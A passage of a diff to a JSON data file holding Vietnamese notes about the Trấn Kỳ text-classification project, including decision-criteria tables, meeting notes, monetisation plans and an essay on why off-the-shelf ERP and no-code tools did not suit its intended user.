phẩm/Đội ngũ/Thịnh", + "Tiêu đề": "Tiêu chí làm việc và ra quyết định", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Chiến lược/Tiêu chí làm việc và ra quyết định", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "| Tiêu chí | Tiêu chí thành phần | Trọng số |\r\n| ----------------------------------- | ---------------------------------------------------------------------------------------------- | ---------- |\r\n| Có cơ hội hợp tác bền vững hiệu quả | | 100% |\r\n| | Đảm bảo lợi ích tài chính, tâm lý, sức khoẻ thành viên |   40% |\r\n| | Sử dụng ứng dụng được chiến lược hoặc ý tưởng của các bên và tạo ra giá trị trong thời điểm đó |   30% |\r\n| | Có nhiều đầu mối để học hỏi |   20% |\r\n| | Dành thời gian đủ lâu để tạo ra nhiều cơ hội phát triển, hiểu các mong đợi của các bên |   10% |\r\n", + "Toàn bộ nội dung": "# Ra quyết định\r\nTrên lý thuyết thì sử [[Phân tích quyết định đa tiêu chí (MCDA) là phương pháp để tìm điểm đánh đổi tối ưu nhất|phương pháp phân tích quyết định đa tiêu chí (MCDA) để tìm điểm đánh đổi tối ưu nhất]], và quyền bỏ phiếu của các thành viên dựa theo thời gian đóng góp của mỗi người. \r\n\r\n## Nhật \r\n| Tiêu chí | Tiêu chí thành phần | Cách tính điểm | Trọng số |\r\n| ------------------- | ---------------------------------------------------------- | -------------------------------------- | ---------- |\r\n| Giúp Trí | | | 90% |\r\n| | Số tiền kiếm được | $\\frac{\\text{Số tiền}}{\\text{400 tr}}$ |   35% |\r\n| | Thời gian nhận được tiền | |   35% |\r\n| | Kỳ hạn trả | |   10% |\r\n| | Lãi | |   10% |\r\n| Môi trường làm việc | | | 10% |\r\n| | Các thành viên thấy việc mình làm đem lại ý nghĩa cho mình | |   5% |\r\n| | Có thể linh hoạt hạn chót | |   5% |\r\n\r\n\r\n## Thịnh\r\n| Tiêu chí | Tiêu chí thành phần | Cách tính điểm | Trọng số |\r\n| ----------------------------------- | ---------------------------------------------------------------------------------------------- | ------------------------------------ | ---------- |\r\n| Có cơ hội hợp tác bền vững hiệu quả | | | 100% |\r\n| | Đảm bảo lợi ích tài chính, tâm lý, sức khoẻ thành viên | |   40% |\r\n| | Sử dụng ứng dụng được chiến lược hoặc ý tưởng của các bên và tạo ra giá trị trong thời điểm đó | |   30% |\r\n| | Có nhiều đầu mối để học hỏi | |   20% |\r\n| | Dành thời gian đủ lâu để tạo ra nhiều cơ hội phát triển, hiểu các mong đợi của các bên, | |   10% |\r\n\r\n# Gặp mặt\r\n- gặp mặt ít nhất 2 buổi, mỗi buổi 1-2 tiếng\r\n- Phải có một buổi nói về định hướng, khả năng của 2 bên\r\n\r\n# Hiệu quả một tuần làm việc\r\n- Kiểm chứng được ít nhất 1 giả định\r\n- Chia sẻ và giải quyết được vấn đề cá nhân gặp phải làm ảnh hưởng tới công việc\r\n- Lập kế hoạch cho tuần tiếp theo\r\n\r\n# Lập kế hoạch\r\n- Ứng dụng được các giả định được kiểm chứng, \r\n- Phù hợp với các quyết định chung\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày tạo": "2023-12-07T04:39:00.000Z", + "Ngày cập nhật": "2024-08-01T13:28:00.000Z", "id": "4q" }, { - "Tiêu đề": "Hệ thống chấm điểm cảm xúc (Game con bò)", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/9 Blog/Hệ thống chấm điểm cảm xúc (Game con bò)", + "Tiêu đề": "27-11-2023", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Họp/27-11-2023", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "# Workspace\r\nCông cụ: theo kiểu lean, chỉ cần có status và tag là được. Trello lại quá phức tạp, còn các công cụ khác thì tốn tiền → dùng Obsidian và Discord. Nhật nghiên cứu vụ sync cho iphone.\r\n\r\n- tạo nhiều đầu công việc, assign người làm, hiểu trạng thái: todo, in progress, done\r\n- Trong trường hợp in progress thì mục tiêu 1 tuần phải xong. Nếu trong 2 ngày làm thấy có vẻ ko ổn thì trở về to do. Không có cái nào in progress quá 2 tuần\r\n- Mỗi sáng t5 8h - 9h catchup, review ticket done hoặc highlight, định hướng tuần sau ưu tiên làm gì\r\n- ~~Mỗi sáng trên discord phải cập nhật công việc hôm qua, vướng gì, cần hỗ trợ~~ (chủ yếu cho team tech) \r\n\r\n# Product \r\nfocus lớn nhất bây giờ là đóng gói được sp và launch cho người dùng sử dụng là app mà key user chỉ cần nói chuyện với nó\r\nMVP: tạo web và nhận được bảng\r\ndesign lấy team anh Quang\r\n\r\n# Fundraising\r\nnên gặp thêm nhiều người thể hiện sự quan tâm\r\n→ seeding\r\n\r\n# Khác\r\n**Về động lực tham gia và sự đóng góp:** Anh chỉ là early member, tin truly vào sp. Anh không muốn xin thêm cổ phần vì như vậy phải thể hiện ra mình làm đc gì. Thời điểm này team chưa build xong, đóng góp của anh còn ít, chưa có gì để gọi vốn. Khi nào sản phẩm thành hình rồi pitch. Lúc đó nếu anh đóng góp nhiều hơn thì sẽ bàn thêm. \r\n\r\n**Về Nhật:** thấy được passion, thấy việc giúp Trí khá thú vị nên muốn làm việc cùng. Thích style geek, ko thích founder ma mãnh. Chính sự khác người tạo nên thành công\r\n\r\n**Về việc Nhật lo cho Trí:** lo lắng sự giúp trí bị distract vào. Dù sao thì em cũng là lead, anh chỉ có 5%, nên em sẽ là người thúc đẩy nhóm chứ không phải là anh. Nếu em không làm thì anh cũng chỉ chịu 5% thiệt hại.\r\nNếu em biến mất thì cũng không sao vì khi công việc cụ thể rồi thì cứ việc ai nấy làm thôi. Báo trước để mọi người điều chỉnh là được.\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "4r" }, { - "Tiêu đề": "Kiếm tiền từ Trấn Kỳ", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/9 Blog/Kiếm tiền từ Trấn Kỳ", + "Tiêu đề": "Kế hoạch bán cho người cần có sự kỷ luật tài chính", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Kế hoạch/Kế hoạch tạo lợi nhuận từ Trấn Kỳ/Kế hoạch bán cho người cần có sự kỷ luật tài chính", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## Cách 1: làm nhập liệu cho các cá nhân, tổ chức cần thuê ngoài\r\nĐể một cá nhân, tổ chức cần thuê ngoài cần hội đủ các điều kiện sau đây:\r\n- Khách hàng cần phân loại, gắn nhãn, biến dữ liệu phi cấu trúc thành dữ liệu có cấu trúc\r\n- Khách hàng không tin tưởng kết quả phân loại của ChatGPT, hoặc thấy nó quá đắt hoặc bất tiện\r\n- Khách hàng không biết đến giải pháp phân loại tự động nào khác\r\n\r\nNgoài ra còn có thêm hai điều kiện về việc hợp tác thành công trên các trang tuyển dụng thời vụ tự do (freelance):\r\n- Khách hàng dành thời gian để đăng tin tuyển dụng \r\n- Những người rao bán dịch vụ nhập liệu như bạn không biết đến giải pháp phân loại tự động nào khác để bạn có thể cạnh tranh về giá\r\n\r\nNhư bạn thấy, càng nhiều điều kiện thì khả năng kiếm được tiền càng thấp đi. Càng bỏ được nhiều điều kiện, bạn càng có khả năng kiếm được tiền. \r\n\r\nĐể bỏ được hai điều kiện cuối cùng, bạn cần phải biết nhu cầu của khách hàng mà không cần họ phải đăng tin trên các trang tuyển dụng đó. Điều đó có thể xảy ra nếu:\r\n- Bạn thường xuyên theo dõi các thông báo tuyển dụng của họ trên website hoặc trang, nhóm Facebook\r\n- Bạn có sẵn mối quan hệ với họ, trực tiếp hoặc gián tiếp\r\n- Bạn chủ động nhắn tin hỏi về nhu cầu của họ\r\n- Bạn chủ động đăng tin sẵn sàng nhận làm việc này\r\n\r\n[Danh sách các công ty tuyển nhân viên nhập liệu](https://www.google.com/search?client=firefox-b-d&q=c%C3%B4ng+vi%E1%BB%87c+nh%E1%BA%ADp+li%E1%BB%87u&ibp=htl;jobs&sa=X&ved=2ahUKEwiutrePjqOEAxU3mVYBHTTIAR8Qkd0GegQIFRAB#fpstate=tldetail&htivrt=jobs&htiq=c%C3%B4ng+vi%E1%BB%87c+nh%E1%BA%ADp+li%E1%BB%87u&htidocid=omPcbeASS8_ch7MVAAAAAA%3D%3D&sxsrf=ACQVn0-AbylAiRPxZZKN5JAMa-LruGLo4w:1707648427622){ .md-button .md-button--primary }\r\n\r\n## Cách 2: xây dựng hệ thống quản lý và xử lý dữ liệu cho các cá nhân, tổ chức cần đáp ứng những luồng làm việc và suy nghĩ đặc thù\r\nNếu họ đã biết đến Trấn Kỳ thì bạn không còn làm cách 1 được nữa. Nhưng có thể họ vẫn cần một hệ thống quản lý và xử lý dữ liệu mà các giải pháp có sẵn trên thị trường không đáp ứng những luồng làm việc và suy nghĩ đặc thù của họ. \r\n\r\nCó hai loại công việc: [[Công việc khai phá và công việc khai thác]]. Công việc khai phá (exploration) là những công việc mà nếu ta chưa làm xong thì cũng không chắc lắm kết quả trông như thế nào, còn công việc khai thác (exploitation) là những công việc chưa làm cũng biết chính xác kết quả trông như thế nào. Công việc khai phá sử dụng dạng tư duy phi tuyến, và hợp với kiểu dữ liệu phi cấu trúc. Còn công việc khai thác sử dụng dạng tư duy tuyến tính, và hợp với kiểu dữ liệu có cấu trúc.\r\n\r\nBởi vì [[Công việc khai phá chính là quản lý kiến thức]], cho nên [[Quản lý công việc và quản lý kiến thức không thể tách rời nhau]]. Đây là thứ mà các hệ thống quản lý và xử lý dữ liệu có sẵn trên thị trường không đáp ứng được. Những người viết ra chúng tất nhiên cũng đã có những nghiên cứu khách hàng và cũng thiết kế nhiều lựa chọn để người dùng có thể tuỳ chỉnh ở một mức độ nào đó. Nếu không đáp ứng được nhu cầu đa số thì không thể nào giảm được chi phí sản phẩm cả. Tuy nhiên, sự dự đoán của các tác giả ấy về quy trình nghiệp vụ của một số khách hàng doanh nghiệp điển hình mà họ có thể nghĩ ra được cũng không thể nào bắt kịp được luồng làm việc và suy nghĩ thực tế của các cá nhân cụ thể. Mỗi người có một cách phân loại thông tin, yêu cầu về sự ngăn nắp thông tin, khối lượng thông tin và loại thông tin phải thường xuyên xử lý cũng khác nhau. Mỗi một luồng tư duy khác nhau có thể sẽ đòi hỏi những cách quản lý thông tin rất khác nhau. Và với một số người, cái mô đun quản lý kiến thức của chúng không gì chỉ làm cho có. Thà không dùng nó chứ dùng thì càng bực hơn. Các ERP này không đáp ứng nổi vai trò trở thành một [[Giàn giáo nhận thức cần phải tuỳ biến với quá trình hiểu biết của người dùng|một giàn giáo nhận thức]] của họ. \r\n\r\nChưa kể, cái gọi là chi phí thấp ở đây chỉ là miễn phí trong một số ngày, một số tính năng hoặc đầu người. Nhưng thường thì có trả tiền để dùng thì những tính năng đó cũng không hướng đến việc trở thành một nơi để quản lý tất cả mọi thứ.\r\n\r\n![[Dùng ERP dựng sẵn.png]]\r\n\r\nBạn có thể đọc kỹ hơn về nhu cầu này trong bài [[Lý do viết Trấn Kỳ]]. \r\n\r\nĐây là một số thứ đáp ứng được nhu cầu này, mà trước đây không làm được vì không có một thư viện phân loại dữ liệu bằng tiếng Việt tự nhiên có sẵn nào:\r\n- [[Các buổi hướng dẫn tích hợp Trấn Kỳ vào hệ thống quản lý#Tổng hợp công việc hoặc quỹ ngay trên phòng chat (Discord, Slack)|Tổng hợp công việc hoặc quỹ ngay trên phòng chat (Discord, Slack)]]\r\n- [[Các buổi hướng dẫn tích hợp Trấn Kỳ vào hệ thống quản lý#Tự động tạo liên kết UTM cho việc tiếp thị trực tuyến|Tự động tạo liên kết UTM cho việc tiếp thị trực tuyến]]\r\n\r\nĐể làm được việc này cần hội đủ các điều kiện sau đây:\r\n- Họ cần một hệ thống có thể đáp ứng đúng luồng làm việc, suy nghĩ của mình\r\n- Họ thấy rằng các hệ thống no-code không thể đáp ứng được nhu cầu đó\r\n- Họ cần phải làm nhiều việc khác hơn là dành thời gian để xây dựng hệ thống \r\n\r\nBạn có thể đăng thông tin về các giải pháp đó để thu hút họ đến với bạn. Việc tham gia vào [[Các buổi hướng dẫn tích hợp Trấn Kỳ vào hệ thống quản lý]] cũng sẽ giúp bạn có thông tin ai là người đang cần giải pháp cũng như hướng dẫn để làm điều đó cho họ.\r\n\r\n## Cách 3: dạy và tư vấn cho người muốn học kiến thức, kỹ năng xây dựng hệ thống quản lý và xử lý dữ liệu\r\nVới mã nguồn và kiến thức lập trình bạn có được từ [[Các buổi hướng dẫn tích hợp Trấn Kỳ vào hệ thống quản lý]] nói riêng và [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]] nói chung, bạn có thể trở thành người hướng dẫn cho những người đến sau. Bạn sẽ được nhận những gì mà họ đóng góp. Nếu bạn chỉ cần tiền thì khi nào có tiền từ các hoạt động này bọn mình sẽ chuyển cho bạn.\r\n\r\n## Cách 4: tham gia các startup làm app thu chi cá nhân\r\nBọn mình đã lọt được vào sự chú ý của [J.D.Everest](https://www.jdeverest.com/), một công ty tư vấn chiến lược cho các công ty quản lý tài sản gia đình (family office) và quỹ đầu tư tư nhân (private equity investment) ở Việt Nam. Theo [LinkedIn của người sáng lập](https://www.linkedin.com/in/swimano/) thì anh này trước khi sáng lập J.D.Everest thì từng là:\r\n- Thạc sĩ hệ thống thông tin,\r\n- Giám đốc điều hành số của [Early Risers Media Group](https://tuoitre.vn/early-risers-ke-hoach-dua-phim-viet-ra-the-gioi-20220424113728409.htm \"Early Risers và kế hoạch đưa phim Việt ra thế giới - Tuổi Trẻ Online\"), quản lý cho phim *Để Mai Tính*, *Long Ruồi*\r\n - [Người sáng lập công ty này](https://tuoitre.vn/vy-vincent-ngo---nguoi-tram-lang-271245.htm) viết kịch bản cho phim *Hancook* và sửa chữa kịch bản cho *Dòng máu anh hùng* và *Lửa Phật*\r\n- Đồng sáng lập *Quỹ Đầu tư Khởi nghiệp Quốc gia (Vietnam Startup Investment Fund – VNSIF)*\r\n\r\nBạn có thể xem [[J.D. Everest|các ghi chép của bọn mình khi ngồi nói chuyện với họ]].\r\n\r\nBên này nói rằng nếu làm app thu chi cá nhân và đánh thị trường Hàn Quốc trước thì khả năng ăn là 70%, vì bọn này mới thắng crypto. Tuy nhiên, một chị khác cũng từng làm fintech cho Hàn Quốc cho rằng fintech HQ đã phát triển trước mình 10 năm rồi, bây giờ tham gia vào thì không dễ ăn.\r\n\r\nNếu bạn muốn tham gia hoặc hợp tác với các startup đã mua code của Trấn Kỳ, bọn mình sẽ giới thiệu cho bạn.\r\n\r\n%%\r\nem mới coi cái clip YouTube về cái này, trông có vẻ không phải là lừa đảo gì https://www.youtube.com/watch?v=Zd9vH8OZAO0\r\n\r\nchưa kể ở các công ty thực ra việc có sản phẩm tốt nhất không phải là tiêu chí duy nhất, mà còn nhiều yếu tố khác ảnh hưởng như chiến lược công ty, mối quan hệ, sự hiểu biết của sếp, v.v. Vẫn có những sản phẩm tệ mà bán thành công, và có những sản phẩm tốt thì không bán được gì cả. Cũng có những công ty tệ vẫn tồn tại được trên thị trường. Người thực sự muốn có công cụ tốt hơn chỉ là người làm trực tiếp chứ không phải là chủ. Chủ có muốn đáp ứng nhu cầu đó của nhân viên không thì là chuyện khác \r\n\r\n\r\nThe idea that the components of the tech or the process couldn’t fundamentally change one week or month later is an insane concept. Documentation for all tech today is literally a living document on confluence or similar platforms, not a PDF published 6 years ago.\r\n\r\nmuốn tự động hóa thì phải có quy trình chứ a, người nào tự động thì người đó phải có kiến thức, phải đứng ra chịu trách nhiệm. Trong khi công việc này chưa chắc là thực hiện dài ngày, lặp đi lặp lại, nên là thuê người nhập tay một vài lần so về chi phí cũng chả khác biệt với mua 1 cái quy trình.\r\n\r\n\r\nCông ty chuyên môn (y tế, luật, tài chính, v.v.) \r\nCác tổ chức phi lợi nhuận\r\nCông ty thuê ngoài chuyên về nhập liệu\r\nCác công ty chuyên về xử lý dữ liệu\r\nCác lập trình viên tự do\r\n\r\n\r\nI wrote a rule-based text classification web app specialized in my language (Vietnamese). I wrote this to help my friend and want to learn programing. This is how it works: first you input a prompt, which is just a bunch of keywords, e.g. `fish 50k`, then it will automatically label/annotate/classify the prompt like this:\r\n\r\n- Object: `fish`\r\n- Type of Object: `food`\r\n- Place of transaction: `market`\r\n- Type of place of transaction: `offline`\r\n- Consumer: `myself`\r\n- Type of consumer: `myself`\r\n- Price: `50000 VND`\r\n\r\nThe app can make this classification based on a config you declare, e.g.:\r\n\r\n```\r\n- Dimension name: Object \r\n Classification: \r\n - Food: fish, meat \r\n - Appliance: computer, speaker \r\n Default value: meat \r\n...\r\n```\r\n\r\nIt will generate the result as a table so you can copy-paste it to your system, e.g. Excel.\r\n\r\n(You can find similar products in this thread: [Where have you seen rule-based text classification being applied? : LanguageTechnology](https://www.reddit.com/r/overemployed/comments/yv9job/do_any_developers_take_data_entry_positions_and/). You can also think that it's like ChatGPT, but it's cheaper, faster, more privacy and accurate in the kind of problem it solves.)\r\n\r\nNow, how can I make money from this? I don't have much money to open a company now, and I want to avoid to have debt. In my research th", + "Toàn bộ nội dung": "[[Tổ chức nhỏ hoặc người cần kỷ luật tài chính\\|Nghiên cứu người cần kỷ luật tài chính]]\r\n\r\n| Thành phẩm cần có | Hành vi cần đạt được | Giả thiết | Công việc |\r\n| --------------------------------------- | ---------------------------------------------------------- | --------------------------------------------------- | ---------------------------------------------------------------------------------------- |\r\n| Tạo ra được sản phẩm phù hợp thị trường | Người cần có sự kỷ luật tài chính tìm đến mình và trả tiền | Hiểu được nhu cầu những người cần kỷ luật tài chính | [[Tổ chức nhỏ hoặc người cần kỷ luật tài chính\\|Nghiên cứu người cần kỷ luật tài chính]] |\r\n| Người chuyên bán hàng | Người có kỹ năng bán hàng tham gia | | |\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày cập nhật": "2024-08-01T13:42:00.000Z", "id": "4s" }, { - "Tiêu đề": "Lý do viết Trấn Kỳ", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/9 Blog/Lý do viết Trấn Kỳ", + "Tiêu đề": "Kế hoạch xây dựng cộng đồng phát triển Trấn Kỳ", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Kế hoạch/Kế hoạch xây dựng cộng đồng phát triển Trấn Kỳ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "Tại sao các phần mềm nocode hay ChatGPT vẫn không đủ để thay thế lập trình trong việc quản trị?", - "Toàn bộ nội dung": "%%\n#file/thành-phẩm/bài-viết \n# Tại sao không sử dụng cơ sở dữ liệu (Excel, SQL) \nBan đầu, nó vốn là vì khi viết bài này thì sẽ có nhiều liên kết ở trong vault này, còn viết hướng dẫn sử dụng thì lại có nhiều liên kết ở vault kia,\nViệc để các bài viết rải ra ở các website khác nhau cũng là vì mỗi bài sẽ có nhiều nội dung liên quan trực tiếp tới website đó. Hiện tại bọn mình chưa có thời gian để đảm bảo liên kết trỏ đúng\n\nNhưng bởi vì buộc phải chấp nhận lý do đó, bọn mình bắt đầu khám phá ra được lý do sâu hơn\n\nTrấn Kỳ là một sản phẩm. [[Sản phẩm là vật thể]]. [[Sản phẩm là sự bồi tụ của các dòng hải lưu nhu cầu và kết tinh của kiến thức]]. Để nó được đón nhận, người ta phải nhận được nhiều hơn những thứ nó có thể cho đi. Nhìn nó bằng nhiều lăng kính khác nhau.\nĐỉnh cao là mỗi người đều thấy khác nhau\nĐể mọi người đều cùng có thể nhìn thấy nó, để nó có thể chạm đến bất cứ đâu, trước hết cần phân rã nó, làm cho nó hoà tan\nThả bạn vào một nơi bất kỳ trên thành phố. Như bạn thấy, nơi này còn nhiều chỗ chưa được xây dựng, giống như một thành phố còn nhiều bãi đất hoang\n%%\n\n## Tại sao lại viết chương trình này?\nĐây là nhu cầu của Kendy, và bọn mình giúp được gì thì giúp. Gần như tất cả những phần dưới đều để giải thích kỹ hơn nhu cầu này. Bạn có thể xem thêm bài [[Từ việc hỗ trợ Kendy đến Patreon và tâm lý của con người về tiền]]. \n\nNhưng sau đó, nó còn phục vụ một mong muốn khác của bọn mình là nâng cao năng lực thông thạo máy tính (computer literacy) cho mọi người. Sẽ có rất nhiều người đến với chương trình này không phải là lập trình viên, nhưng họ sẽ phải cần phải tự biết cách chỉnh sửa. Họ biết rằng việc biết lập trình là quan trọng, họ đã luôn có ý định để học nó, nhưng mãi mà họ vẫn không thể biến nó trở thành ưu tiên cao nhất.\n\nTrong cái thời đại của 4.0 này, [[Lập trình là một cái gì đó thâm nhập vào đời sống của chúng ta, nhưng lại gần như vô hình]]. Thật là một nghịch lý khi một mặt [[Lập trình viên biết lập trình chủ yếu là nhờ biết google]], nhưng mặt khác [[Người không học về lập trình thấy việc lập trình như làm phép thuật]]. Tại sao các ngành khác không có được sự vị trí đó, khi mà điều kiện để một người có thể thông thạo trong ngành lập trình là cũng đủ để họ có thể thông thạo những ngành khác? Khi một người cảm thấy mình mù công nghệ, và chấp nhận rằng mình sẽ chẳng hiểu gì về công nghệ cả, thì họ đang có một sự bất lực học được.\n\nBằng việc [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc|đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu cá nhân hoặc nghiên cứu]], bọn mình hy vọng rằng bạn thấy rằng việc lập trình không chỉ là code sao cho máy chạy đúng ý mình mà còn là [[Lập trình thực ra là dùng ẩn dụ|cách ta dự phần vào việc hiểu và kiến trúc lên thế giới này]]. Bọn mình hy vọng rằng việc bạn thấy mình tự tin hơn về lập trình cũng sẽ góp phần giúp Kendy.\n\n## Nếu cần phân loại thu chi thì tại sao không sử dụng các phần mềm quản lý tài chính cá nhân?\nCác phần mềm quản lý tài chính cá nhân như Misa hay Money Lover có giao diện thân thiện hơn chương trình này nhiều. Momo hay ZaloPay còn có chức năng thu chi cho nhóm.\n\nVấn đề là chúng đều yêu cầu bạn **phải phân loại ngay lúc nhập dữ liệu**, trong khi điều này lấy thời gian của bạn. Lúc bạn đi chợ mua đồ mà lại bắt bạn phân loại từng cái thì không biết tới bao giờ. Vào lúc nhập liệu bạn chỉ muốn viết ra thật nhanh, và não bạn nghĩ ra từ nào thì phải cho bạn viết đúng từ đó.\n\nNgoài ra, **dữ liệu được lưu trong những phần mềm đó bị cô lập**. Sẽ có những người cần tạo lập nhiều cơ sở dữ liệu để quản lý, và cần dữ liệu ở tất cả các nguồn được đổ về một nơi. [[Việc lưu dữ liệu ở các công cụ khác nhau tạo thành các đảo thông tin]].\n\nĐiều này cũng có nghĩa là, nếu bạn không thấy mình có những vấn đề này thì bạn không cần phải dùng chương trình này.\n\n## Liệu các phần mềm hoạch định tài nguyên doanh nghiệp (ERP) có giải quyết được vấn đề đảo thông tin này không?\nCác phần mềm hoạch định tài nguyên doanh nghiệp ([enterprise resource planning](https://en.wikipedia.org/wiki/Enterprise_resource_planning \"Enterprise resource planning - Wikipedia\"), ERP) sẽ có những mô đun chuyên về quản lý tài chính. Tuy nhiên, với Kendy điều đó là không đủ. Đây là những yêu cầu cho một phần mềm quản trị mà Kendy cần. Thiếu một trong 3 đều không được:\n- [ ] Có khả năng tuỳ chỉnh theo đúng luồng làm việc, suy nghĩ của mình\n- [ ] Không phải dành quá nhiều thời gian để xây dựng hệ thống đó\n- [ ] Chi phí thấp\n\n### Các ERP được dựng sẵn không đủ khả năng đáp ứng những luồng làm việc và suy nghĩ đặc thù\n![[Dùng ERP dựng sẵn.png]]\n\nCó hai loại công việc: [[Công việc khai phá và công việc khai thác]]. Công việc khai phá (exploration) là những công việc mà nếu ta chưa làm xong thì cũng không chắc lắm kết quả trông như thế nào, còn công việc khai thác (exploitation) là những công việc chưa làm cũng biết chính xác kết quả trông như thế nào. Công việc khai phá sử dụng dạng tư duy phi tuyến, và hợp với kiểu dữ liệu phi cấu trúc. Còn công việc khai thác sử dụng dạng tư duy tuyến tính, và hợp với kiểu dữ liệu có cấu trúc.\n\nBởi vì [[Công việc khai phá chính là quản lý kiến thức]], cho nên [[Quản lý công việc và quản lý kiến thức không thể tách rời nhau]]. Đây là thứ mà các ERP dựng sẵn này không đáp ứng được. Những người viết ra chúng tất nhiên cũng đã có những nghiên cứu khách hàng và cũng thiết kế nhiều lựa chọn để người dùng có thể tuỳ chỉnh ở một mức độ nào đó. Nếu không đáp ứng được nhu cầu đa số thì không thể nào giảm được chi phí sản phẩm cả. Tuy nhiên, sự dự đoán của các tác giả ấy về quy trình nghiệp vụ của một số khách hàng doanh nghiệp điển hình mà họ có thể nghĩ ra được cũng không thể nào bắt kịp được luồng làm việc và suy nghĩ thực tế của các cá nhân cụ thể. Mỗi người có một cách phân loại thông tin, yêu cầu về sự ngăn nắp thông tin, khối lượng thông tin và loại thông tin phải thường xuyên xử lý cũng khác nhau. Mỗi một luồng tư duy khác nhau có thể sẽ đòi hỏi những cách quản lý thông tin rất khác nhau. Và với một số người, cái mô đun quản lý kiến thức của chúng không gì chỉ làm cho có. Thà không dùng nó chứ dùng thì càng bực hơn. Các ERP này không đáp ứng nổi vai trò trở thành một [[Giàn giáo nhận thức cần phải tuỳ biến với quá trình hiểu biết của người dùng|một giàn giáo nhận thức]] của họ. \n\nHơn nữa, ngay cả khi chỉ xét đến mô đun về quản lý giao dịch của các ERP dựng sẵn, thì cũng giống như các phần mềm quản lý tài chính cá nhân được nói ở trên, dữ liệu được lưu trong đây vẫn bị cô lập trong ERP đó. \n\nChưa kể, cái gọi là chi phí thấp ở đây chỉ là miễn phí trong một số ngày, một số tính năng hoặc đầu người. Nhưng thường thì có trả tiền để dùng thì những tính năng đó cũng không hướng đến việc trở thành một nơi để quản lý tất cả mọi thứ.\n\n### Tự xây dựng ERP tốn rất nhiều thời gian\n![[Tự xây dựng ERP.png]]\nCó các phần mềm ERP mã nguồn mở như Odoo, và bạn có thể tự mình bổ sung thêm các tính năng để đảm bảo là nó sẽ theo đúng luồng làm việc, suy nghĩ của bạn, nhưng điều đó đòi hỏi bạn phải có kiến thức cũng như thời gian để lập trình. Điều này sẽ rất khó với người chưa từng lập trình bao giờ mà còn rất nhiều thứ khác phải làm. Nếu không ai code giùm cho thì Kendy thà chịu đau khổ chứ không thể nào tự học được, bởi vì [[Chi phí chuyển đổi giữa lập trình và nghiên cứu là lớn]]. Chưa kể, theo định luật Hofstadter: [[Mọi thứ sẽ luôn tốn thời gian hơn bạn nghĩ|Mọi thứ sẽ luôn tốn thời gian hơn bạn nghĩ, kể cả khi bạn đã tính đến định luật Hofstadter]].\n\nCũng không phải là Kendy không muốn học để tự xây dựng hệ thống cho mình, mà là kiếm lòi mắt cũng không thấy được người thực sự muốn chia sẻ. Theo trải nghiệm của Kendy khi hỏi trên các diễn đàn của Odoo, thì người trả lời thực ra chỉ muốn báo giá chứ không thực sự muốn chỉ. Vì dù là mã nguồn mở thì họ cũng xác định tập khách hàng của mình là doanh nghiệp.\n\n### Chi phí thuê lập trình viên để tự xây dựng ERP là quá cao\n![[Thuê lập trình viên.png]]\nNếu thuê lập trình viên thì thực sự không có tiền để thuê, và nếu có tiền thì cũng rất lệ thuộc vào họ. Việc xây dựng hệ thống là việc sửa mỗi lần một chút. Kendy không có đủ tiền cho quá nhiều lần điều chỉnh lắt nhắt như vậy.\n\n## Hiện nay đã có nhiều phần mềm ERP low code. Liệu có giải quyết được vấn đề này?\nKhái niệm low code được sinh ra dành cho những phần mềm không phải code nhiều nhưng người dùng vẫn có thể tạo ra được sản phẩm của mình. Airtable, Google Sheet, Excel là những ví dụ của low code.\n\nFibery cũng là một sản phẩm low code. Nó *hứa hẹn* giải quyết được 2 vấn đề sau:\n- Một nơi vừa để quản lý công việc vừa quản lý kiến thức\n- Có thể xây dựng hệ thống quản lý cho mình ngay mà không cần dùng tới code trong thời gian đầu\n\nĐây là lý do Kendy đã chọn Fibery, vì những cái rất cần trước mắt thì nó có thể đáp ứng. \n\nĐối với những người làm lập trình, cái gọi là low code chỉ là bình mới rượu cũ mà thôi. Nó từng có những cái tên như WYSIWYG, UI, rồi giờ thì nó được gọi là low code. Nó không được lòng người làm kỹ thuật cho lắm.\n\n[Một người bình luận](https://discord.com/channels/686053708261228577/700466324840775831/1072284305893638214):\n> Chúng được sinh ra chỉ để cho mục đích tiếp thị và khiến những người quản lý không có hiểu biết về kỹ thuật ra những quyết định tồi. \n\n[Một người khác](https://softwareengineering.stackexchange.com/questions/320227/what-is-low-code/320228#comment679977_320228):\n> Theo kinh nghiệm của tôi, những công cụ này được mấy người dùng 